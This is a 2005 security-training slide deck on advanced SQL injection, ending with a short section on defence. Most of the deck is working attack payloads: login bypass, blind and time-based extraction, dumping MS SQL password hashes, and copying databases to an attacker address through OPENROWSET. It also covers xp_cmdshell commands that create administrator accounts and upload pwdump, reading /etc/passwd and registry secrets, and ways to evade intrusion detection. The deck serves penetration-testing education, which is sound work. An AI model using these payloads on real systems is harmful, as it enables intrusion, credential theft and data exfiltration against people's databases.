Advanced SQL Injection: Advanced SQL Injection Victor Chapela Sm4rt Security Services victor@sm4rt.com 4/11/2005


What is SQL?: What is SQL? SQL stands for Structured Query Language Allows us to access a database ANSI and ISO standard computer language The most current standard is SQL99 SQL can: execute queries against a database retrieve data from a database insert new records in a database delete records from a database update records in a database


SQL is a Standard - but...: SQL is a Standard - but... There are many different versions of the SQL language They support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others). Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!


SQL Database Tables: SQL Database Tables A relational database contains one or more tables identified each by a name Tables contain records (rows) with data For example, the following table is called 'users' and contains data distributed in rows and columns:


SQL Queries: SQL Queries With SQL, we can query a database and have a result set returned Using the previous table, a query like this: SELECT LastName FROM users WHERE UserID = 1; Gives a result set like this: LastName -------------- Smith


SQL Data Manipulation Language (DML): SQL Data Manipulation Language (DML) SQL includes a syntax to update, insert, and delete records: SELECT - extracts data UPDATE - updates data INSERT INTO - inserts new data DELETE - deletes data


SQL Data Definition Language (DDL): SQL Data Definition Language (DDL) The Data Definition Language (DDL) part of SQL permits: Database tables to be created or deleted Define indexes (keys) Specify links between tables Impose constraints between database tables Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - alters (changes) a database table DROP TABLE - deletes a database table


Metadata: Metadata Almost all SQL databases are based on the RDBM (Relational Database Model) One important fact for SQL Injection Amongst Codd's 12 rules for a Truly Relational Database System: Metadata (data about the database) must be stored in the database just as regular data is Therefore, database structure can also be read and altered with SQL queries


What is SQL Injection?: What is SQL Injection? The ability to inject SQL commands into the database engine through an existing application


How common is it?: How common is it? It is probably the most common Website vulnerability today! It is a flaw in 'web application' development, it is not a DB or web server problem Most programmers are still not aware of this problem A lot of the tutorials andamp; demo 'templates' are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection


Vulnerable Applications: Vulnerable Applications Almost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more


How does SQL Injection work?: How does SQL Injection work? Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123' (If it returns something then login!) ASP/MS SQL Server login syntax var sql = 'SELECT * FROM users WHERE login = '' + formusr + '' AND password = '' + formpwd + ''';


Injecting through Strings: Injecting through Strings formusr = ' or 1=1 – – formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'


The power of ': The power of ' It closes the string parameter Everything after is considered part of the SQL command Misleading Internet suggestions include: Escape it! : replace ' with ' ' String fields are very common but there are other types of fields: Numeric Dates


If it were numeric?: If it were numeric? SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/MySQL login syntax $sql = 'SELECT * FROM clients WHERE ' . 'account = $formacct AND ' . 'pin = $formpin';


Injecting Numeric Fields: Injecting Numeric Fields $formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111


SQL Injection Characters: SQL Injection Characters ' or ' character String Indicators -- or # single-line comment /*…*/ multiple-line comment + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator ?Param1=fooandamp;Param2=bar URL Parameters PRINT useful as non transactional command @variable local variable @@variable global variable waitfor delay '0:0:10' time delay


Methodology: Methodology


SQL Injection Testing Methodology: SQL Injection Testing Methodology 1) Input Validation


1) Input Validation: 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt 4) Extracting Data 7) Expand Influence 1) Input Validation


Discovery of Vulnerabilities: Discovery of Vulnerabilities Vulnerabilities can be anywhere, we check all entry points: Fields in web forms Script parameters in URL query strings Values stored in cookies or hidden fields By 'fuzzing' we insert into every one: Character sequence: ' ' ) # || + andgt; SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc) Delay query ' waitfor delay '0:0:10'--


2) Information Gathering : 2) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt 4) Extracting Data 7) Expand Influence 1) Input Validation


2) Information Gathering: 2) Information Gathering We will try to find out the following: Output mechanism Understand the query Determine database type Find out user privilege level Determine OS interaction level


a) Exploring Output Mechanisms: a) Exploring Output Mechanisms Using query result sets in the web application Error Messages Craft SQL queries that generate specific types of error messages with valuable info in them Blind SQL Injection Use time delays or error signatures to determine extract information Almost the same things can be done but Blind Injection is much slower and more difficult Other mechanisms e-mail, SMB, FTP, TFTP


Extracting information through Error Messages: Extracting information through Error Messages Grouping Error ' group by columnnames having 1=1 - - Type Mismatch ' union select 1,1,'text',1,1,1 - - ' union select 1,1, bigint,1,1,1 - - Where 'text' or bigint are being united into an int column In DBs that allow subqueries, a better way is: ' and 1 in (select 'text' ) - - In some cases we may need to CAST or CONVERT our data to generate the error messages


Blind Injection: Blind Injection We can use different known outcomes ' and condition and '1'='1 Or we can use if statements '; if condition waitfor delay '0:0:5' -- '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1; Additionally, we can run all types of queries but with no debugging information! We get yes/no responses only We can extract ASCII a bit at a time... Very noisy and time consuming but possible with automated tools like SQueaL


b) Understanding the Query: b) Understanding the Query The query can be: SELECT UPDATE EXEC INSERT Or something more complex Context helps What is the form or page trying to do with our input? What is the name of the field, cookie or parameter?


SELECT Statement: SELECT Statement Most injections will land in the middle of a SELECT statement In a SELECT clause we almost always end up in the WHERE section: SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x


UPDATE statement: UPDATE statement In a change your password section of an app we may find the following UPDATE users SET password = 'new password' WHERE login = logged.user AND password = 'old password' If you inject in new password and comment the rest, you end up changing every password in the table!


Determining a SELECT Query Structure: Determining a SELECT Query Structure Try to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1' = '2 Generate specific errors Determine table and column names ' group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery?


Is it a stored procedure?: Is it a stored procedure? We use different injections to determine what we can or cannot do ,@variable ?Param1=fooandamp;Param2=bar PRINT PRINT @@variable


Tricky Queries: Tricky Queries When we are in a part of a subquery or begin - end statement We will need to use parenthesis to get out Some functionality is not available in subqueries (for example group by, having and further subqueries) In some occasions we will need to add an END When several queries use the input We may end up creating different errors in different queries, it gets confusing! An error generated in the query we are interrupting may stop execution of our batch queries Some queries are simply not escapable!


c) Determine Database Engine Type: c) Determine Database Engine Type Most times the error messages will let us know what DB engine we are working with ODBC errors will display database type as part of the driver information If we have no ODBC error messages: We make an educated guess based on the Operating System and Web Server Or we use DB-specific characters, commands or stored procedures that will generate different error messages


Some differences: Some differences


More differences…: More differences…


d) Finding out user privilege level: d) Finding out user privilege level There are several SQL99 built-in scalar functions that will work in most SQL implementations: user or current_user session_user system_user ' and 1 in (select user ) -- '; if user ='dbo' waitfor delay '0:0:5 '-- ' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );


DB Administrators: DB Administrators Default administrator accounts include: sa, system, sys, dba, admin, root and many others In MS SQL they map into dbo: The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo. Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.


3) 1=1 Attacks : 3) 1=1 Attacks 1) Input Validation 5) OS Interaction 6) OS Cmd Prompt 4) Extracting Data 7) Expand Influence 2) Info. Gathering 3) 1=1 Attacks


Discover DB structure: Discover DB structure Determine table and column names ' group by columnnames having 1=1 -- Discover column name types ' union select sum(columnname ) from tablename -- Enumerate user defined tables ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name andgt; '.') --


Enumerating table columns in different DBs: Enumerating table columns in different DBs MS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ') sp_columns tablename (this stored procedure can be used instead) MySQL show columns from tablename Oracle SELECT * FROM all_tab_columns WHERE table_name='tablename ' DB2 SELECT * FROM syscat.columns WHERE tabname= 'tablename ' Postgres SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum andgt; 0


All tables and columns in one query: All tables and columns in one query ' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --


Database Enumeration: Database Enumeration In MS SQL Server, the databases can be queried with master..sysdatabases Different databases in Server ' and 1 in (select min(name ) from master.dbo.sysdatabases where name andgt;'.' ) -- File location of databases ' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename andgt;'.' ) --


System Tables: System Tables Oracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG MySQL mysql.user mysql.host mysql.db MS Access MsysACEs MsysObjects MsysQueries MsysRelationships MS SQL Server sysobjects syscolumns systypes sysdatabases


4) Extracting Data: 4) Extracting Data 4) Extracting Data 1) Input Validation 5) OS Interaction 6) OS Cmd Prompt 7) Expand Influence 2) Info. Gathering 3) 1=1 Attacks


Password grabbing: Password grabbing Grabbing username and passwords from a User Defined table '; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' ' from users where loginandgt;@var select @var as var into temp end -- ' and 1 in (select var from temp) -- ' ; drop table temp --


Create DB Accounts: Create DB Accounts MS SQL exec sp_addlogin 'victor', 'Pass123' exec sp_addsrvrolemember 'victor', 'sysadmin' MySQL INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123')) Access CREATE USER victor IDENTIFIED BY 'Pass123' Postgres (requires UNIX account) CREATE USER victor WITH PASSWORD 'Pass123' Oracle CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor;


Grabbing MS SQL Server Hashes: Grabbing MS SQL Server Hashes An easy query: SELECT name, password FROM sysxlogins But, hashes are varbinary To display them correctly through an error message we need to Hex them And then concatenate all We can only fit 70 name/password pairs in a varchar We can only see 1 complete pair at a time Password field requires dbo access With lower privileges we can still recover user names and brute force the password


What do we do?: What do we do? The hashes are extracted using SELECT password FROM master..sysxlogins We then hex each hash begin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@iandlt;=@length) BEGIN declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 END And then we just cycle through all passwords


Extracting SQL Hashes: Extracting SQL Hashes It is a long statement '; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 andlt;= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@iandlt;=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1andgt;@xdate1 and password is not null) end select @var as x into temp end end --


Extract hashes through error messages: Extract hashes through error messages ' and 1 in (select x from temp) -- ' and 1 in (select substring (x, 256, 256) from temp) -- ' and 1 in (select substring (x, 512, 256) from temp) -- etc… ' drop table temp --


Brute forcing Passwords: Brute forcing Passwords Passwords can be brute forced by using the attacked server to do the processing SQL Crack Script create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords


Transfer DB structure and data: Transfer DB structure and data Once network connectivity has been tested SQL Server can be linked back to the attacker's DB by using OPENROWSET DB Structure is replicated Data is transferred It can all be done by connecting to a remote port 80!


Create Identical DB Structure: Create Identical DB Structure '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns --


Transfer DB: Transfer DB '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table2') select * from database..table2 --


5) OS Interaction : 5) OS Interaction 5) OS Interaction 6) OS Cmd Prompt 7) Expand Influence 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 4) Extracting Data


Interacting with the OS: Interacting with the OS Two ways to interact with the OS: Reading and writing system files from disk Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization or configuration files Direct command execution We can do anything Both are restricted by the database's running privileges and permissions


MySQL OS Interaction: MySQL OS Interaction MySQL LOAD_FILE ' union select 1,load_file('/etc/passwd'),1,1,1; LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; SELECT INTO OUTFILE


MS SQL OS Interaction: MS SQL OS Interaction MS SQL Server '; exec master..xp_cmdshell 'ipconfig andgt; test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txtandlt;@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,256) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --


Architecture: Architecture To keep in mind always! Our injection most times will be executed on a different server The DB server may not even have Internet access


Assessing Network Connectivity: Assessing Network Connectivity Server name and configuration ' and 1 in (select @@servername ) -- ' and 1 in (select srvname from master..sysservers ) -- NetBIOS, ARP, Local Open Ports, Trace route? Reverse connections nslookup, ping ftp, tftp, smb We have to test for firewall and proxies


Gathering IP information through reverse lookups: Gathering IP information through reverse lookups Reverse DNS '; exec master..xp_cmdshell 'nslookup a.com MyIP' -- Reverse Pings '; exec master..xp_cmdshell 'ping MyIP' -- OPENROWSET '; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 'select * from table')


Network Reconnaissance: Network Reconnaissance Using the xp_cmdshell all the following can be executed: Ipconfig /all Tracert myIP arp -a nbtstat -c netstat -ano route print


Network Reconnaissance Full Query: Network Reconnaissance Full Query '; declare @var varchar(256); set @var = ' del test.txt andamp;andamp; arp -a andgt;andgt; test.txt andamp;andamp; ipconfig /all andgt;andgt; test.txt andamp;andamp; nbtstat -c andgt;andgt; test.txt andamp;andamp; netstat -ano andgt;andgt; test.txt andamp;andamp; route print andgt;andgt; test.txt andamp;andamp; tracert -w 10 -h 10 google.com andgt;andgt; test.txt'; EXEC master..xp_cmdshell @var -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txtandlt;@data ; select @data as x into temp end -- ' and 1 in (select substring(x,1,255) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --


6) OS Cmd Prompt: 6) OS Cmd Prompt 7) Expand Influence 3) 1=1 Attacks 4) Extracting Data 1) Input Validation 2) Info. Gathering 5) OS Interaction 6) OS Cmd Prompt


Jumping to the OS: Jumping to the OS Linux based MySQL ' union select 1, (load_file('/etc/passwd')),1,1,1; MS SQL Windows Password Creation '; exec xp_cmdshell 'net user /add victor Pass123'-- '; exec xp_cmdshell 'net localgroup /add administrators victor' -- Starting Services '; exec master..xp_servicecontrol 'start','FTP Publishing' --


Using ActiveX Automation Scripts: Using ActiveX Automation Scripts Speech example '; declare @o int, @var int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'x', 'x' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00:00:03' --


Retrieving VNC Password from Registry: Retrieving VNC Password from Registry '; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP-- ' and 1 in (select cast(x as varchar) from temp) --


7) Expand Influence: 7) Expand Influence 7) Expand Influence 3) 1=1 Attacks 4) Extracting Data 1) Input Validation 2) Info. Gathering 5) OS Interaction 6) OS Cmd Prompt


Hopping into other DB Servers: Hopping into other DB Servers Finding linked servers in MS SQL select * from sysservers Using the OPENROWSET command hopping to those servers can easily be achieved The same strategy we saw earlier with using OPENROWSET for reverse connections


Linked Servers: Linked Servers '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') select * from master.dbo.sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_linked_sysservers') select * from LinkedServer.master.dbo.sysservers '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_linked_sysdatabases') select * from LinkedServer.master.dbo.sysdatabases


Executing through stored procedures remotely: Executing through stored procedures remotely If the remote server is configured to only allow stored procedure execution, this changes would be made: insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers' insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases'


Uploading files through reverse connection: Uploading files through reverse connection '; create table AttackerTable (data text) -- '; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW') '; exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' -- '; exec xp_cmdshell 'bcp 'select * from AttackerTable' queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --


Uploading files through SQL Injection: Uploading files through SQL Injection If the database server has no Internet connectivity, files can still be uploaded Similar process but the files have to be hexed and sent as part of a query string Files have to be broken up into smaller pieces (4,000 bytes per piece)


Example of SQL injection file uploading: Example of SQL injection file uploading The whole set of queries is lengthy You first need to inject a stored procedure to convert hex to binary remotely You then need to inject the binary as hex in 4000 byte chunks ' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…  8000 hex chars …0000000000000000000' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin -- Finally you concatenate the binaries and dump the file to disk.


Evasion Techniques: Evasion Techniques


Evasion Techniques : Evasion Techniques Input validation circumvention and IDS Evasion techniques are very similar Snort based detection of SQL Injection is partially possible but relies on 'signatures' Signatures can be evaded easily Input validation, IDS detection AND strong database and OS hardening must be used together


IDS Signature Evasion : IDS Signature Evasion Evading ' OR 1=1 signature ' OR 'unusual' = 'unusual' ' OR 'something' = 'some'+'thing' ' OR 'text' = N'text' ' OR 'something' like 'some%' ' OR 2 andgt; 1 ' OR 'text' andgt; 't' ' OR 'whatever' IN ('whatever') ' OR 2 BETWEEN 1 AND 3


Input validation: Input validation Some people use PHP addslashes() function to escape characters single quote (') double quote (') backslash (\) NUL (the NULL byte) This can be easily evaded by using replacements for any of the previous characters in a numeric field


Evasion and Circumvention: Evasion and Circumvention IDS and input validation can be circumvented by encoding Some ways of encoding parameters URL encoding Unicode/UTF-8 Hex enconding char() function


MySQL Input Validation Circumvention using Char(): MySQL Input Validation Circumvention using Char() Inject without quotes (string = '%'): ' or username like char(37); Inject without quotes (string = 'root'): ' union select * from users where login = char(114,111,111,116); Load files in unions (string = '/etc/passwd'): ' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; Check for existing files (string = 'n.ext'): ' and 1=( if( (load_file(char(110,46,101,120,116))andlt;andgt;char(39,39)),1,0));


IDS Signature Evasion using white spaces: IDS Signature Evasion using white spaces UNION SELECT signature is different to UNION SELECT Tab, carriage return, linefeed or several white spaces may be used Dropping spaces might work even better 'OR'1'='1' (with no spaces) is correctly interpreted by some of the friendlier SQL databases


IDS Signature Evasion using comments: IDS Signature Evasion using comments Some IDS are not tricked by white spaces Using comments is the best alternative /* … */ is used in SQL99 to delimit multirow comments UNION/**/SELECT/**/ '/**/OR/**/1/**/=/**/1 This also allows to spread the injection through multiple fields USERNAME: ' or 1/* PASSWORD: */ =1 --


IDS Signature Evasion using string concatenation: IDS Signature Evasion using string concatenation In MySQL it is possible to separate instructions with comments UNI/**/ON SEL/**/ECT Or you can concatenate text and use a DB specific instruction to execute Oracle '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' MS SQL '; EXEC ('SEL' + 'ECT US' + 'ER')


IDS and Input Validation Evasion using variables: IDS and Input Validation Evasion using variables Yet another evasion technique allows for the definition of variables ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER'); EXEC (@x) EXEC SP_EXECUTESQL @x Or even using a hex value ; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x) This statement uses no single quotes (')


Defending Against SQL Injection: Defending Against SQL Injection


SQL Injection Defense: SQL Injection Defense It is quite simple: input validation The real challenge is making best practices consistent through all your code Enforce 'strong design' in new applications You should audit your existing websites and source code Even if you have an air tight design, harden your servers


Strong Design: Strong Design Define an easy 'secure' path to querying data Use stored procedures for interacting with database Call stored procedures through a parameterized API Validate all input through generic routines Use the principle of 'least privilege' Define several roles, one for each kind of query


Input Validation: Input Validation Define data types for each field Implement stringent 'allow only good' filters If the input is supposed to be numeric, use a numeric variable in your script to store it Reject bad input rather than attempting to escape or modify it Implement stringent 'known bad' filters For example: reject 'select', 'insert', 'update', 'shutdown', 'delete', 'drop', '--', '''


Harden the Server: Harden the Server Run DB as a low-privilege user account Remove unused stored procedures and functionality or restrict access to administrators Change permissions and remove 'public' access to system objects Audit password strength for all user accounts Remove pre-authenticated linked servers Remove unused network protocols Firewall the server so that only trusted clients can connect to it (typically only: administrative network, web server and backup server)


Detection and Dissuasion: Detection and Dissuasion You may want to react to SQL injection attempts by: Logging the attempts Sending email alerts Blocking the offending IP Sending back intimidating error messages: 'WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken.' Check with your lawyers for proper wording This should be coded into your validation scripts


Conclusion: Conclusion SQL Injection is a fascinating and dangerous vulnerability All programming languages and all SQL databases are potentially vulnerable Protecting against it requires strong design correct input validation hardening


Links: Links A lot of SQL Injection related papers http://www.nextgenss.com/papers.htm http://www.spidynamics.com/support/whitepapers/ http://www.appsecinc.com/techdocs/whitepapers.html http://www.atstake.com/research/advisories Other resources http://www.owasp.org http://www.sqlsecurity.com http://www.securityfocus.com/infocus/1768


Advanced SQL Injection: Advanced SQL Injection Victor Chapela victor@sm4rt.com